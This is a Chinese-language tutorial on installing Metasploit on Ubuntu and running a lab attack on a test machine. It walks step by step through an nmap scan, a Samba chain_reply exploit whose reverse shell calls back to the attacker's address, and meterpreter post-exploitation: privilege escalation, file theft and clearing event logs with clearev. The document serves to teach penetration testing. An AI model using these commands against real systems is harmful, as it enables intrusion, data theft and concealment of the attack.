本文主要是介绍实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 一. Metasploit 渗透工具
- 二. 安装配置
- 三. 模块讲解
- 3.1 auxiliary-辅助模块
- 3.2 exploit-渗透攻击模块
- 3.3 payload-攻击荷载模块
- 四. 模拟攻击
- 4.1 准备工作
- 4.2 漏洞探测
- 4.3 漏洞利用
- 4.4 后渗透操作
一. Metasploit 渗透工具
Metasploit Framework(MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程
二. 安装配置
切换至准备下载软件的目录下
cd /opt
下载
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
msf
默认使用的PostgreSQL
数据库不能与root
用户关联,所以我们需要添加新用户msf
,并且每次启动msf
,都需要切换用户,否则数据库无法同步
# 添加msf用户
adduser msf
# 切换到msf用户
su msf
# 切换到msf所在的目录
cd /opt/metasploit-framework/bin
# 启动msfconsole
./msfconsole
可将metasploit
添加至执行目录,往后在任何目录直接msfconsole
就可以
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
更新msf
(可选)
# MSF后期更新升级
msfupdate
三. 模块讲解
3.1 auxiliary-辅助模块
辅助模块
该模块不会直接在测试者和目标主机之间建立访问,它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。
查看辅助模块
show auxiliary/xxx
3.2 exploit-渗透攻击模块
渗透攻击模块
是利用发现的安全漏洞或配置弱点对远程目标进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问的一个代码模块
查看不同系统的可利用漏洞
search exploits/xxxx
3.3 payload-攻击荷载模块
攻击荷载模块
攻击载荷是渗透目标系统之后完成实际攻击功能的代码,用于在目标系统上运行任意命令或者执行特定代码。
查看可用代码
# 查看可用代码
search payloads/xxxx
组成
-
Single
:完全独立的Payload
,运行简单,例如添加一个系统用户或删除一份文件。- 格式:形如
target/single
,如:windows/powershell_bind_tcp
- 格式:形如
-
Stager
:负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。 -
Stage
:是Stager
下的一种组件,可以提供更加高级的功能- 格式:形如
target/stage/stager
, 如:windows/meterpreter/reverse_tcp
,包含一个Stage Payload(meterpreter)
和 一个Stager Payload(reverse_tcp)
组成。
- 格式:形如
四. 模拟攻击
4.1 准备工作
被渗透机器:10.137.5.2
,先给被渗透的机器安装一些服务,便于被发现
apt-get install vsftpd
apt-get install openssh-server
apt-get install telnet
apt-get install postfix
apt-get install samba
攻击机器为:10.137.5.1
,安装namp
用作服务和端口扫描
apt-get install nmap
开始扫描目标机器,注意要在root
权限下运行命令
# -sS:表示这是一个基本的扫描方式,Nmap发送SYN包到远程主机,但不会在目标主机上产生任何日志记录
# -sV:用来扫描目标主机和端口上运行的软件的版本
# -n:不进行dns解析操作
nmap -sS -sV -n 10.137.5.2
表示总共运行了如下服务和开启如下端口
服务 | 端口 |
---|---|
vsftpd | 21 |
Openssh | 22 |
smtpd | 25 |
samba | 139 和 445 |
4.2 漏洞探测
首先进入框架
msfconsole
假设利用samba
服务渗透,搜索相关扫描漏洞,选择一个漏洞进行渗透
search scanner/smb
选择漏洞探测,一般Auxiliary
就是负责执行扫描
use auxiliary/scanner/smb/smb_enumshares
查看该模块所需的配置信息
show options
设置要探测的远程目标
set rhosts 10.137.5.2
对该主机进行渗透攻击,正常情况下,有+
号的就是可能存在漏洞的主机
exploit
4.3 漏洞利用
查找利用漏洞
search linux/samba
选择漏洞攻击
use linux/samba/chain_reply
查看设置参数
show options
可以看见我们只需要设置探测的远程目标即可
set rhosts 10.137.5.2
可以看见,已默认选择了一种攻击方式linux/x86/meterpreter/reverse_tcp
如果不满意,可以查看攻击荷载
show payloads
再额外设置攻击荷载,记住要选择了linux
版本,例如
set payload payload/linux/x86/shell_bind_tcp
再次查看需配置参数,发现已经被更改
show options
其中lport
,表示反弹shell到我们主机的这个端口
设置回弹主机地址
set lhost 10.137.5.1
进行攻击
exploit
理论上,在这里就已经攻击成功,但是由于版本更新的问题,很多软件已经被修复漏洞,根本无法成功渗透,如需成功渗透,可尝试使用低版本的软件或系统
4.4 后渗透操作
运行成功之后,我们将会看到命令提示符 meterpreter >
出现,输入shell
进入目标主机终端
shell
退出终端,回到meterpreter
exit
在meterpreter
下,我们可以进行如下操作
命令 | 含义 | 命令 | 含义 |
---|---|---|---|
sysinfo | 查看主机消息 | pwd | 查看当前目录 |
cd | 切换文件夹 | cat | 查看文件内容 |
rm | 删除文件 | edit | 编辑文件 |
ls | 查看文件详情 | mkdir | 创建目录 |
download file | 下载文件 | upload file | 上传文件 |
screenshot | 截图 | getsystem | 权限提升 |
使用完毕getsystem
,清除操作日志
clearev
挂载getsystem
,回到msf
框架
background
查看保存的shell
会话
sessions -l
输入session [id]
即可再次进入终端
session 2
这篇关于实践代码教你学会 Metasploit 渗透攻击【Ubuntu版本】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!